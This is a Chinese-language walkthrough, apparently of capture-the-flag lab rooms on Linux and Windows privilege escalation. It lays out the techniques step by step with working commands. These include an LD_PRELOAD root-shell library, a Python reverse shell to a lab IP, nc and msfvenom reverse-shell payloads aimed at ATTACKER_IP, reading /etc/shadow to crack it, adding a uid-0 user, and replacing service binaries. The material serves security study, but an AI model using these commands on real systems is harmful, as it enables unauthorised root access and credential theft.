请记住,这将返回所有用户,其中一些是不是很有用的系统或服务用户。另一种方法可能是 grep 查找“home”,因为真正的用户很可能将其文件夹放在“home”目录下。

1
cat /etc/passwd | grep home
ifconfig

目标系统可能是另一个网络的枢纽点。 ifconfig命令将为我们提供有关系统网络接口的信息。下面的示例显示目标系统具有三个接口(eth0、tun0 和 tun1)。我们的攻击机器可以到达 eth0 接口,但无法直接访问其他两个网络。

可以使用ip route命令查看存在哪些网络路由来确认这一点

netstat

在对现有接口和网络路由进行初步检查后,值得研究现有通信。 netstat命令可以与多个不同的选项一起使用来收集有关现有连接的信息。

  • netstat -a :显示所有监听端口和已建立的连接。
  • netstat -atnetstat -au还可用于分别列出 TCP 或UDP协议。
  • netstat -l :列出“监听”模式下的端口。这些端口已打开并准备好接受传入连接。这可以与“t”选项一起使用,以仅列出使用TCP协议侦听的端口(如下)
  • netstat -s :按协议列出网络使用统计信息(如下) 这也可以与-t-u选项一起使用,以将输出限制为特定协议。
  • netstat -tp :列出连接以及服务名称和PID信息,这也可以与-l选项一起使用来列出侦听端口
查找命令

在目标系统中搜索重要信息和潜在的权限升级向量可能会取得丰硕成果。内置的“查找”命令非常有用,值得保留在您的武器库中。

以下是“查找”命令的一些有用示例。

查找文件:

  • find . -name flag1.txt :在当前目录中查找名为“flag1.txt”的文件
  • find /home -name flag1.txt :在 /home 目录中查找文件名“flag1.txt”
  • find / -type d -name config :查找“/”下名为config的目录
  • find / -type f -perm 0777 :查找具有777权限的文件(所有用户可读、可写、可执行的文件)
  • find / -perm a=x : 查找可执行文件
  • find /home -user frank :查找“/home”下用户“frank”的所有文件
  • find / -mtime 10 :查找最近 10 天内修改过的文件
  • find / -atime 10 :查找过去 10 天内访问过的文件
  • find / -cmin -60 :查找过去一小时(60 分钟)内更改的文件
  • find / -amin -60 :查找最近一小时(60 分钟)内访问的文件
  • find / -size 50M :查找大小为 50 MB 的文件

该命令还可以与(+)和(-)符号一起使用来指定大于或小于给定大小的文件。

上面的示例返回大于 100 MB 的文件。值得注意的是,“find”命令往往会产生错误,有时会导致输出难以阅读。这就是为什么明智的做法是使用带有-type f 2>/dev/null的find命令将错误重定向到“/dev/null”并获得更清晰的输出

可以写入或执行的文件夹和文件:

  • find / -writable -type d 2>/dev/null :查找全局可写文件夹
  • find / -perm -222 -type d 2>/dev/null :查找全局可写文件夹
  • find / -perm -o w -type d 2>/dev/null :查找全局可写文件夹
  • find / -perm -o x -type d 2>/dev/null :查找全局可执行文件夹
  • 查找开发工具和支持的语言:
    • find / -name perl*
    • find / -name python*
    • find / -name gcc*

查找特定文件权限:

下面是一个简短的示例,用于查找设置了 SUID 位的文件。 SUID 位允许文件以拥有该文件的帐户(而不是运行该文件的帐户)的权限级别运行。这允许一个有趣的权限升级路径,我们将在任务 6 中看到更多细节。下面的示例用于完成“find”命令的主题。

  • find / -perm -u=s -type f 2>/dev/null :查找带有SUID位的文件,它允许我们以比当前用户更高的权限级别运行该文件。

Task2 自动化枚举工具

有几种工具可以帮助您在枚举过程中节省时间。这些工具只能用于节省时间,因为它们可能会错过一些权限升级向量。下面是流行的Linux枚举工具的列表,以及各自的 Github 存储库的链接。

目标系统的环境将影响您将能够使用的工具。例如,如果目标系统上未安装用 Python 编写的工具,您将无法运行该工具。这就是为什么熟悉几个工具比拥有一个首选工具更好。

Task3 内核漏洞

理想情况下,权限升级会导致 root 权限。有时可以简单地通过利用现有漏洞来实现,或者在某些情况下通过访问具有更多权限、信息或访问权限的另一个用户帐户来实现。除非单个漏洞导致 root shell,否则权限提升过程将依赖于错误配置和宽松的权限。Linux系统上的内核管理系统内存和应用程序等组件之间的通信。这个关键功能需要内核有特定的权限;因此,成功利用该漏洞可能会导致 root 权限。

内核利用方法很简单;

  1. 识别内核版本
  2. 搜索并找到目标系统内核版本的漏洞利用代码
  3. 运行漏洞利用程序

虽然看起来很简单,但请记住,失败的内核漏洞可能会导致系统崩溃。在尝试内核漏洞之前,请确保这种潜在结果在渗透测试范围内是可以接受的。

研究来源:

  1. 根据您的发现,您可以使用 Google 搜索现有的漏洞利用代码。
  2. https://www.linuxkernelcves.com/cves等来源也很有用。
  3. 另一种选择是使用像 LES( Linux Exploit Suggester)这样的脚本,但请记住,这些工具可能会生成误报(报告不影响目标系统的内核漏洞)或漏报(不报告任何内核漏洞,尽管内核是易受伤害的)。

提示/注释:

  1. 在 Google、Exploit-db 或 searchsploit 上搜索漏洞时对内核版本过于具体
  2. 在启动漏洞利用代码之前,请确保您了解其工作原理。某些漏洞利用代码可以对操作系统进行更改,从而使它们在进一步使用时不安全,或者对系统进行不可逆转的更改,从而在以后产生问题。当然,这些在实验室或 CTF 环境中可能不是大问题,但在真正的渗透测试过程中,这些绝对是禁忌。
  3. 某些漏洞一旦运行可能需要进一步的交互。阅读漏洞利用代码提供的所有注释和说明。
  4. 您可以分别使用SimpleHTTPServer Python 模块和wget将漏洞利用代码从您的计算机传输到目标系统。

打开靶机,通过ssh进行连接,执行以下命令观察内核版本

1
uname -a

得到版本如下

1
Linux wade7363 3.13.0-24-generic #46-Ubuntu SMP Thu Apr 10 19:11:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

经过搜索存在符合版本的漏洞

我们通过searchsploit下载exp代码

然后在本地编译并保存为exp

1
gcc 37292.c -o exp

本机开启http服务后,在连接的靶机的/tmp目录下使用wget下载下来

赋予777执行权限,成功提权

Task4 Sudo

默认情况下,sudo 命令允许您以 root 权限运行程序。在某些情况下,系统管理员可能需要为普通用户提供一定的权限灵活性。例如,初级SOC分析师可能需要定期使用Nmap ,但不会获得完全 root 访问权限。在这种情况下,系统管理员可以允许该用户仅以 root 权限运行Nmap ,同时在系统的其余部分保持其常规权限级别。

任何用户都可以使用sudo -l命令检查其与 root 权限相关的当前情况。

https://gtfobins.github.io/是一个有价值的资源,它提供了有关如何使用您可能拥有 sudo 权限的任何程序的信息。

利用应用程序功能

某些应用程序在此上下文中不会有已知的漏洞。您可能会看到的这样的应用程序是 Apache2 服务器。

在这种情况下,我们可以使用“黑客”来利用应用程序的功能来泄露信息。如下所示,Apache2 有一个选项支持加载备用配置文件( -f :指定备用 ServerConfigFile)。

使用此选项加载/etc/shadow文件将导致一条错误消息,其中包含/etc/shadow文件的第一行。

利用LD_PRELOAD

在某些系统上,您可能会看到 LD_PRELOAD 环境选项。

LD_PRELOAD 是一个允许任何程序使用共享库的函数。这篇博文将让您了解 LD_PRELOAD 的功能。如果启用“env_keep”选项,我们可以生成一个共享库,该库将在程序运行之前加载并执行。请注意,如果真实用户 ID 与有效用户 ID 不同,LD_PRELOAD 选项将被忽略。

这个特权升级向量的步骤可以总结如下:

  1. 检查 LD_PRELOAD(使用 env_keep 选项)
  2. 编写一个简单的 C 代码编译为共享对象(.so 扩展名)文件
  3. 使用 sudo 权限和指向我们的 .so 文件的 LD_PRELOAD 选项运行程序

C 代码将简单地生成一个 root shell,可以编写如下

1
2
3
4
5
6
7
8
9
10
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}

我们可以将此代码保存为 shell.c,并使用 gcc 使用以下参数将其编译为共享对象文件;

1
gcc -fPIC -shared -o shell.so shell.c -nostartfiles

现在,当启动用户可以使用 sudo 运行的任何程序时,我们可以使用此共享对象文件。在我们的例子中,Apache2、find 或几乎任何我们可以使用 sudo 运行的程序都可以使用。

我们需要通过指定LD_PRELOAD选项来运行程序,如下;

1
sudo LD_PRELOAD=/home/user/ldpreload/shell.so find

这将导致生成具有 root 权限的 shell。

打开靶机,sudo -l发现存在find命令可以提权

Task5 SUID

许多Linux权限控制依赖于控制用户和文件交互。这是通过权限完成的。到现在为止,您知道文件可以具有读、写和执行权限。这些是在其权限级别内提供给用户的。这会随着 SUID(设备用户标识)和 SGID(设备组标识)而改变。这些允许分别以文件所有者或组所有者的权限级别执行文件。

您会注意到这些文件有一个“s”位设置,显示其特殊权限级别。下面命令将列出设置了 SUID 或 SGID 位的文件。

1
find / -type f -perm -04000 -ls 2>/dev/null

可以发现nano命令已经设置为SUID位,我们可以读取/etc/passwd/etc/shaodw

1
2
nano /etc/passwd
nano /etc/shaodw

然后使用unshadow生成john可破解的文件

1
unshadow passwd.txt shadow.txt > passwords.txt

另一种选择是添加具有 root 权限的新用户。这将帮助我们绕过密码破解的繁琐过程。我们需要我们希望新用户拥有的密码的哈希值。这可以使用 Kali Linux上的 openssl 工具快速完成。

1
openssl passwd -1 -salt rev1ve rev1ve

然后,我们将此密码和用户名添加到/etc/passwd文件中,再切换用户即可

1
rev1ve:$1$rev1ve$sQl3WXKUgGAsDB384YvPa/:0:0:root:/root:/bin/bash

打开靶机,查看设置了 SUID 位的文件

1
find / -type f -perm -04000 -ls 2>/dev/null

注意到base64命令可以使用,参考GTFOBins

执行以下命令查看

1
/usr/bin/base64 /etc/shadow | base64 --decode

然后使用john暴力破解得到user2的密码

Task6 Capabilities

系统管理员可以用来提高进程或二进制文件的权限级别的另一种方法是“Capabilities”。Capabilities有助于更精细地管理权限。例如,如果SOC分析师需要使用需要启动套接字连接的工具,普通用户将无法做到这一点。如果系统管理员不想授予该用户更高的权限,他们可以更改二进制文件的功能。因此,二进制文件无需更高权限的用户即可完成其任务。功能手册页提供了有关其用法和选项的详细信息。

我们可以使用getcap工具来列出启用的功能。

注:当以非特权用户身份运行时, getcap -r /将生成大量错误,因此最好将错误消息重定向到/dev/null

通过查阅GTFObins,vim命令可以用来权限提升

打开靶机后ssh连接,查找设置了capabilities可执行文件

1
getcap -r / 2>/dev/null

利用vim命令失败,继续利用view命令即可

1
view -c ':!/bin/sh'

Task7 Cron定时任务

Cron 作业用于在特定时间运行脚本或二进制文件。默认情况下,它们以其所有者的权限运行,而不是以当前用户的权限运行。虽然正确配置的 cron 作业本身并不容易受到攻击,但它们在某些情况下可以提供权限升级向量。这个想法很简单;如果有一个以 root 权限运行的计划任务,并且我们可以更改将运行的脚本,那么我们的脚本将以 root 权限运行。

Cron 作业配置存储为 crontab(cron 表),以查看任务下次运行的时间和日期。系统上的每个用户都有自己的 crontab 文件,并且无论是否登录都可以运行特定任务。正如您所期望的,我们的目标是找到由 root 设置的 cron 作业并让它运行我们的脚本(最好是 shell)。

任何用户都可以读取/etc/crontab下保存系统范围 cron 作业的文件,在渗透测试活动中,您会更经常看到每天、每周或每月运行的任务。

您可以看到backup.sh脚本被配置为每分钟运行一次。该文件的内容显示了一个简单的脚本,该脚本创建prices.xls 文件的备份。

该脚本将使用目标系统上可用的工具来启动反向 shell。
需要注意的两点;

  1. 命令语法将根据可用工具的不同而有所不同。 (例如nc可能不支持您在其他情况下可能看到的-e选项)
  2. 我们应该始终倾向于启动反向 shell,因为我们不想在真正的渗透测试过程中损害系统的完整性。

我们开启监听器即可收到反向shell

Crontab 始终值得检查,因为它有时会导致轻松的权限升级向量。在不具备一定网络安全成熟度级别的公司中,以下情况并不少见:

  1. 系统管理员需要定期运行脚本。
  2. 他们创建了一个 cron 作业来执行此操作
  3. 一段时间后,脚本变得毫无用处,他们将其删除
  4. 他们不清理相关的 cron 作业

此变更管理问题会导致利用 cron 作业的潜在漏洞。

上面的示例显示了类似的情况,antivirus.sh 脚本被删除,但 cron 作业仍然存在。如果未定义脚本的完整路径(就像为 backup.sh 脚本所做的那样),cron 将引用 /etc/crontab 文件中 PATH 变量下列出的路径。在这种情况下,我们应该能够在用户的主文件夹下创建一个名为“antivirus.sh”的脚本,并且它应该由 cron 作业运行。这样传入的反向 shell 连接具有 root 权限

打开靶机ssh连接,查看用户定义的cron 作业

我们注意到/tmp路径下的test.py文件,进行搜索发现不存在

我们切换到/tmp目录下,创建test.py并写入反向shell(注意要赋予执行权限)

1
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("10.10.34.216",777));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/bash")'

Task8 PATH

如果您的用户具有写入权限的文件夹位于路径中,您可能会劫持应用程序来运行脚本。 Linux 中的 PATH 是一个环境变量,它告诉操作系统在哪里搜索可执行文件。对于任何未内置到 shell 中或未定义绝对路径的命令,Linux 将开始在 PATH 下定义的文件夹中搜索。 (PATH是我们这里讨论的环境变量,path是文件的位置)。

如果我们在命令行中输入“thm”, Linux将在这些位置查找名为 thm 的可执行文件。下面的场景将使您更好地了解如何利用它来提高我们的特权级别。正如您将看到的,这完全取决于目标系统的现有配置,因此在尝试此操作之前,请确保您可以回答以下问题。

  1. $PATH 下有哪些文件夹
  2. 您当前的用户是否具有这些文件夹的写入权限?
  3. 可以修改$PATH吗?
  4. 您可以启动的脚本/应用程序是否会受到此漏洞的影响?

出于演示目的,我们将使用以下脚本:

该脚本尝试启动一个名为“thm”的系统二进制文件,但该示例可以轻松地用任何二进制文件复制。

我们将其编译为可执行文件并设置 SUID 位。

我们的用户现在可以访问设置了 SUID 位的“path”脚本。

执行后,“path”将在 PATH 下列出的文件夹中查找名为“thm”的可执行文件。

如果 PATH 下列出了任何可写文件夹,我们可以在该目录下创建一个名为 thm 的二进制文件,并让我们的“path”脚本运行它。设置 SUID 位后,该二进制文件将以 root 权限运行

可以使用以下命令对可写文件夹进行简单搜索。可以使用简单的剪切和排序序列来清理此命令的输出。

1
find / -writable 2>/dev/null

我们在 /usr 下看到许多文件夹,因此再次运行可写文件夹搜索以覆盖子文件夹可能会更容易。

另一种选择是使用下面的命令

1
find / -writable 2>/dev/null | cut -d "/" -f 2,3 | grep -v proc | sort -u

我们添加了“grep -v proc”来消除与运行进程相关的许多结果。不幸的是,/usr下的子文件夹不可写

更容易写入的文件夹可能是 /tmp。此时,由于 PATH 中不存在 /tmp,因此我们需要添加它

1
export PATH=/tmp:$PATH

此时,路径脚本还将在 /tmp 文件夹下查找名为“thm”的可执行文件。我们创建thm文件并写入/bin/bash即可,然后再赋予执行权限

打开靶机ssh连接,查看可写文件夹

1
find / -writable 2>/dev/null

注意到/home/murdoch拥有可写权限,访问发现存在thm.py调用thm二进制文件

不过这里不能直接执行thm.py,是通过具有SUID位的test二进制文件调用的

我们添加下PATH环境变量

1
export PATH=/home/murdoch:$PATH

然后在/home/murdoch下创建thm恶意文件,然后赋予执行权限后,执行test二进制文件即可

1
/bin/bash

Task9 NFS

权限升级载体不仅限于内部访问。共享文件夹和远程管理界面(例如SSH和 Telnet)还可以帮助您获得目标系统的 root 访问权限。某些情况下还需要使用这两个向量,例如在目标系统上查找 root SSH私钥并通过SSH以 root 权限进行连接,而不是尝试提高当前用户的权限级别。

与 CTF 和考试更相关的另一个载体是配置错误的网络 shell。当存在网络备份系统时,有时可以在渗透测试期间看到此载体。

NFS(网络文件共享)配置保存在 /etc/exports 文件中。该文件是在 NFS 服务器安装期间创建的,通常可供用户读取。

此权限升级载体的关键元素是您在上面看到的“no_root_squash”选项。默认情况下,NFS 会将 root 用户更改为 nfsnobody,并禁止以 root 权限操作任何文件。如果可写共享上存在“no_root_squash”选项,我们可以创建一个设置了 SUID 位的可执行文件并在目标系统上运行它。

我们将首先枚举攻击机器上的可挂载共享。

我们将把“no_root_squash”共享之一挂载到我们的攻击机器上并开始构建我们的可执行文件。

由于我们可以设置 SUID 位,因此在目标系统上运行 /bin/bash 的简单可执行文件将完成这项工作。

编译代码后,我们将设置 SUID 位。

您将在下面看到这两个文件(nfs.c 和 nfs 都存在于目标系统上。我们已经处理了已安装的共享,因此无需传输它们)。

请注意,nfs 可执行文件在目标系统上设置了 SUID 位,并以 root 权限运行。

打开靶机,我们先查看靶机的可挂载共享

ssh连接靶机查看

那么选择/tmp挂载到我们的/tmp/hacker

1
mount -o rw 10.10.144.39:/tmp /tmp/hacker

然后在本地创建nfs.c后编译

1
2
3
4
5
6
7
8
9
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(void){
setgid(0);
setuid(0);
system("/bin/bash");
return 0;
}

赋予SUID位,然后在靶机执行即可

Task10 challenge

ssh登录leonard用户,发现/home目录下存在三个账户

看看有什么SUID位的文件可以利用,发现base64命令

使用base64命令读取下/etc/shadow

1
/usr/bin/base64 /etc/shadow | base64 --decode

发现刚好有missy用户的密码,用john爆破得到Password1

ssh登录missy用户,成功拿到flag1

尝试sudo提权,发现有find命令

成功提权,拿到flag2

1
sudo /usr/bin/find . -exec /bin/sh \; -quit

Windows 权限提升

Task1 基本概念

简而言之,权限升级包括使用“用户 A”对主机的给定访问权限,并通过滥用目标系统中的弱点来利用它来获得对“用户 B”的访问权限。虽然我们通常希望“用户 B”拥有管理权限,但在某些情况下,我们可能需要升级到其他非特权帐户,然后才能真正获得管理权限。

获取对不同帐户的访问权限就像在某些粗心用户留下的不安全的文本文件或电子表格中查找凭据一样简单,但情况并非总是如此。根据具体情况,我们可能需要利用以下一些弱点:

  • Windows 服务或计划任务配置错误
  • 分配给我们帐户的权限过多
  • 易受攻击的软件
  • 缺少 Windows 安全补丁

在开始讨论实际技术之前,让我们先了解一下 Windows 系统上的不同帐户类型。

Windows 用户

Windows系统主要有两类用户。根据用户的访问级别,我们可以将用户分为以下组之一:

管理员 这些用户拥有最多的权限。他们可以更改任何系统配置参数并访问系统中的任何文件。
标准用户 这些用户可以访问计算机,但只能执行有限的任务。通常,这些用户无法对系统进行永久或重要的更改,并且仅限于他们的文件。

任何具有管理权限的用户都将成为管理员组的一部分。另一方面,标准用户是用户组的一部分。

除此之外,您通常会听说操作系统在权限升级的情况下使用一些特殊的内置帐户:

系统/本地系统 操作系统用来执行内部任务的帐户。它可以完全访问主机上可用的所有文件和资源,并且具有比管理员更高的权限。
本地服务 用于以“最低”权限运行 Windows 服务的默认帐户。它将使用网络上的匿名连接。
网络服务 用于以“最低”权限运行 Windows 服务的默认帐户。它将使用计算机凭据通过网络进行身份验证。

这些帐户由 Windows 创建和管理,您将无法像其他常规帐户一样使用它们。不过,在某些情况下,您可能会因为利用特定服务而获得他们的特权。

Task2 信息搜集

无人值守的 Windows 安装

在大量主机上安装 Windows 时,管理员可以使用 Windows 部署服务,该服务允许通过网络将单个操作系统映像部署到多台主机。此类安装称为无人值守安装,因为它们不需要用户交互。此类安装需要使用管理员帐户来执行初始设置,该设置最终可能存储在计算机中的以下位置:

  • C:\Unattend.xml
  • C:\Windows\Panther\Unattend.xml
  • C:\Windows\Panther\Unattend\Unattend.xml
  • C:\Windows\system32\sysprep.inf
  • C:\Windows\system32\sysprep\sysprep.xml

作为这些文件的一部分,您可能会遇到凭据:

1
2
3
4
5
<Credentials>
<Username>Administrator</Username>
<Domain>thm.local</Domain>
<Password>MyPassword123</Password>
</Credentials>
Powershell 历史

每当用户使用 Powershell 运行命令时,它都会存储到一个文件中,该文件会保留过去的命令。这对于快速重复之前使用过的命令很有用。如果用户直接在 Powershell 命令行中运行包含密码的命令,则稍后可以在cmd.exe提示符下使用以下命令来检索该密码:

1
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

注意:上面的命令只能在 cmd.exe 中运行,因为 Powershell 不会将%userprofile%识别为环境变量。要从 Powershell 读取该文件,您必须将%userprofile%替换为$Env:userprofile

保存的 Windows 凭据

Windows 允许我们使用其他用户的凭据。此功能还提供了将这些凭据保存在系统上的选项。下面的命令将列出保存的凭据:

1
cmdkey /list

虽然您看不到实际的密码,但如果您发现任何值得尝试的凭据,您可以将它们与runas命令和/savecred选项一起使用,如下所示。

1
runas /savecred /user:admin cmd.exe
IIS 配置

Internet 信息服务 (IIS) 是 Windows 安装上的默认 Web 服务器。 IIS 上网站的配置存储在名为web.config的文件中,并且可以存储数据库的密码或配置的身份验证机制。根据安装的 IIS 版本,我们可以在以下位置之一找到 web.config:

  • C:\inetpub\wwwroot\web.config
  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config

这是在文件上查找数据库连接字符串的快速方法:

1
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString
从软件检索凭证:PuTTY

PuTTY 是 Windows 系统上常见的 SSH 客户端。用户不必每次都指定连接参数,而是可以存储会话,其中可以存储 IP、用户和其他配置以供以后使用。虽然 PuTTY 不允许用户存储其SSH密码,但它将存储包含明文身份验证凭据的代理配置。

要检索存储的代理凭据,您可以使用以下命令在以下注册表项下搜索 ProxyPassword:

1
reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s

注意: Simon Tatham 是 PuTTY 的创建者(他的名字是路径的一部分),而不是我们要检索密码的用户名。运行上述命令后,存储的代理用户名也应该可见。

正如 putty 存储凭据一样,任何存储密码的软件,包括浏览器、电子邮件客户端、 FTP客户端、 SSH客户端、VNC 软件等,都将有方法恢复用户保存的任何密码。

打开靶机,RDP远程连接

1
xfreerdp /v:10.10.103.83 /u:thm-unpriv /p:Password321

找到存储在powershell的密码

1
type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

​ 继续找到与 IIS 关联的 web.config 文件中的密码

1
type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString

查看下保存的登录凭据,配合/savecred参数直接无密码登录

1
2
cmdkey /list
runas /savecred /user:WPRIVESC1\mike.katz cmd.exe

查看存储的代理凭据

1
reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s

Task3 计划任务

查看目标系统上的计划任务,您可能会看到计划任务丢失了其二进制文件或正在使用您可以修改的二进制文件。

可以使用不带任何选项的schtasks命令从命令行列出计划任务。要检索有关任何服务的详细信息,您可以使用如下命令:

1
2
3
4
5
6
C:\> schtasks /query /tn vulntask /fo list /v
Folder: \
HostName: THM-PC1
TaskName: \vulntask
Task To Run: C:\tasks\schtask.bat
Run As User: taskusr1

您将获得有关该任务的大量信息,但对我们来说重要的是“要运行的任务”参数,该参数指示计划任务执行的内容,以及“以用户身份运行”参数,该参数显示将使用的用户执行任务。

如果我们当前的用户可以修改或覆盖“要运行的任务”可执行文件,我们就可以控制 taskusr1 用户执行的内容,从而实现简单的权限提升。要检查可执行文件的文件权限,我们使用icacls

1
2
3
4
5
C:\> icacls c:\tasks\schtask.bat
c:\tasks\schtask.bat NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(F)

从结果中可以看出, BUILTIN\Users组对任务的二进制文件具有完全访问权限 (F)。这意味着我们可以修改 .bat 文件并插入我们喜欢的任何有效负载。为了您的方便, nc64.exe可以在C:\tools中找到。让我们更改 bat 文件以生成反向 shell:

1
echo c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4444 > C:\tasks\schtask.bat        

然后,我们在攻击者机器上启动一个侦听器,该侦听器位于我们在反向 shell 上指示的同一端口上:

1
nc -lvp 4444

下次运行计划任务时,您应该会收到具有taskusr1权限的反向shell。虽然您可能无法在实际场景中启动任务,而必须等待计划任务触发,但我们为您的用户提供了手动启动任务的权限,以节省您的时间。我们可以使用以下命令运行该任务

1
schtasks /run /tn vulntask

打开靶机,RDP连接查看下计划任务

1
schtasks /query /tn vulntask /fo list /v

查看该文件的执行权限

1
icacls C:\tasks\schtask.bat

手动启用计划任务,监听4444端口拿到shell

Task4 始终安装提升

Windows 安装程序文件(也称为 .msi 文件)用于在系统上安装应用程序。它们通常以启动它的用户的权限级别运行。但是,可以将它们配置为从任何用户帐户(甚至是非特权帐户)以更高的权限运行。这可能会让我们生成一个以管理员权限运行的恶意 MSI 文件。

注意: AlwaysInstallElevated 方法在此房间的计算机上不起作用,它仅供参考。

此方法需要设置两个注册表值。您可以使用以下命令从命令行查询这些内容。

1
2
C:\> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer
C:\> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer

为了能够利用此漏洞,两者都应该设置。否则,利用将是不可能的。如果设置了这些,您可以使用msfvenom生成恶意 .msi 文件,如下所示:

1
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKING_MACHINE_IP LPORT=LOCAL_PORT -f msi -o malicious.msi

由于这是一个反向 shell,您还应该运行相应配置的Metasploit处理程序模块。传输创建的文件后,您可以使用以下命令运行安装程序并接收反向 shell:

1
2
C:\> msiexec /quiet /qn /i C:\Windows\Temp\malicious.msi

Task5 滥用服务错误配置

Windows 服务

Windows 服务由服务控制管理器(SCM) 管理。 SCM 是一个负责根据需要管理服务状态、检查任何给定服务的当前状态并通常提供配置服务的方法的进程。

Windows 计算机上的每个服务都有一个关联的可执行文件,每当服务启动时,SCM 都会运行该可执行文件。需要注意的是,服务可执行文件实现特殊功能以便能够与 SCM 通信,因此任何可执行文件都不能作为服务成功启动。每个服务还指定该服务将在其下运行的用户帐户。

为了更好地理解服务的结构,让我们使用sc qc命令检查 apphostsvc 服务配置:

1
2
3
4
5
6
7
8
9
10
11
12
13
C:\> sc qc apphostsvc
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: apphostsvc
TYPE : 20 WIN32_SHARE_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Windows\system32\svchost.exe -k apphost
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Application Host Helper Service
DEPENDENCIES :
SERVICE_START_NAME : localSystem

在这里我们可以看到关联的可执行文件是通过BINARY_PATH_NAME参数指定的,用于运行服务的帐户显示在SERVICE_START_NAME参数上。

服务具有自主访问控制列表 (DACL),它指示谁有权启动、停止、暂停、查询状态、查询配置或重新配置服务以及其他权限。 DACL 可以从 Process Hacker 中看到(可以在您的计算机桌面上找到):

所有服务配置都存储在注册表中 HKLM\SYSTEM\CurrentControlSet\Services\ :

系统中的每个服务都存在一个子项。同样,我们可以在ImagePath值上看到关联的可执行文件,并在ObjectName值上看到用于启动服务的帐户。如果已为服务配置了DACL ,它将存储在名为Security的子项中。正如您现在已经猜到的,默认情况下只有管理员可以修改此类注册表项。

服务可执行文件的不安全权限

如果与服务关联的可执行文件的权限较弱,允许攻击者修改或替换它,则攻击者可以轻松获得该服务帐户的权限。

为了了解其工作原理,让我们看一下 Splinterware System Scheduler 上发现的漏洞。首先,我们将使用sc查询服务配置:

1
2
3
4
5
6
7
8
9
10
11
12
13
C:\> sc qc WindowsScheduler
[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: windowsscheduler
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 0 IGNORE
BINARY_PATH_NAME : C:\PROGRA~2\SYSTEM~1\WService.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : System Scheduler Service
DEPENDENCIES :
SERVICE_START_NAME : .\svcuser1

我们可以看到漏洞软件安装的服务以svcuser1身份运行,并且与该服务关联的可执行文件位于 C:\Progra~2\System~1\WService.exe ,然后我们继续检查可执行文件的权限:

1
2
3
4
5
6
7
8
9
C:\Users\thm-unpriv>icacls C:\PROGRA~2\SYSTEM~1\WService.exe
C:\PROGRA~2\SYSTEM~1\WService.exe Everyone:(I)(M)
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)

Successfully processed 1 files; Failed processing 0 files

这里有一些有趣的事情。 Everyone 组对服务的可执行文件具有修改权限 (M)。这意味着我们可以简单地用我们偏好的任何有效负载覆盖它,并且该服务将使用配置的用户帐户的权限执行它。

让我们使用 msfvenom 生成一个 exe-service 有效负载,并通过 python Web 服务器提供它:

1
msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4445 -f exe-service -o rev-svc.exe

然后我们可以使用以下命令从 Powershell 中提取有效负载

1
wget http://ATTACKER_IP:8000/rev-svc.exe -O rev-svc.exe

一旦有效负载位于 Windows 服务器中,我们就继续用有效负载替换服务可执行文件。由于我们需要另一个用户来执行我们的有效负载,因此我们还希望向Everyone组授予完全权限

1
2
3
4
5
6
7
8
9
10
C:\> cd C:\PROGRA~2\SYSTEM~1\

C:\PROGRA~2\SYSTEM~1> move WService.exe WService.exe.bkp
1 file(s) moved.

C:\PROGRA~2\SYSTEM~1> move C:\Users\thm-unpriv\rev-svc.exe WService.exe
1 file(s) moved.

C:\PROGRA~2\SYSTEM~1> icacls WService.exe /grant Everyone:F
Successfully processed 1 files.

我们在攻击者机器上启动一个反向侦听器

最后,重新启动服务。虽然在正常情况下,您可能需要等待服务重新启动,但您已被分配了自行重新启动服务的权限,以节省一些时间。从 cmd.exe 命令提示符使用以下命令:

1
2
C:\> sc stop windowsscheduler
C:\> sc start windowsscheduler

注意: PowerShell将sc作为Set-Content别名,因此您需要使用sc.exe才能以这种方式使用PowerShell控制服务。

打开靶机,RDP连接查看服务配置

继续检查可执行文件的权限

发现对所有人对服务的可执行文件具有修改权限 (M),使用msf生成payload传到靶机

1
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.250.46 LPORT=4445 -f exe-service -o rev-svc.exe

然后把原来的WService文件备份,将payload文件名改为WService并赋予完全F权限

1
2
3
move WService.exe WService.exe.bkp
move C:\Users\thm-unpriv\rev-svc.exe WService.exe
icacls WService.exe /grant Everyone:F

然后开启http监听,重启下服务成功接收shell

1
2
sc stop windowsscheduler
sc start windowsscheduler

未加引号的服务路径

当我们无法像以前一样直接写入服务可执行文件时,仍然有机会通过使用相当模糊的功能来强制服务运行任意可执行文件。

使用 Windows 服务时,当服务配置为指向“未加引号”的可执行文件时,会出现非常特殊的行为。不加引号是指未正确引用关联可执行文件的路径来解释命令中的空格。

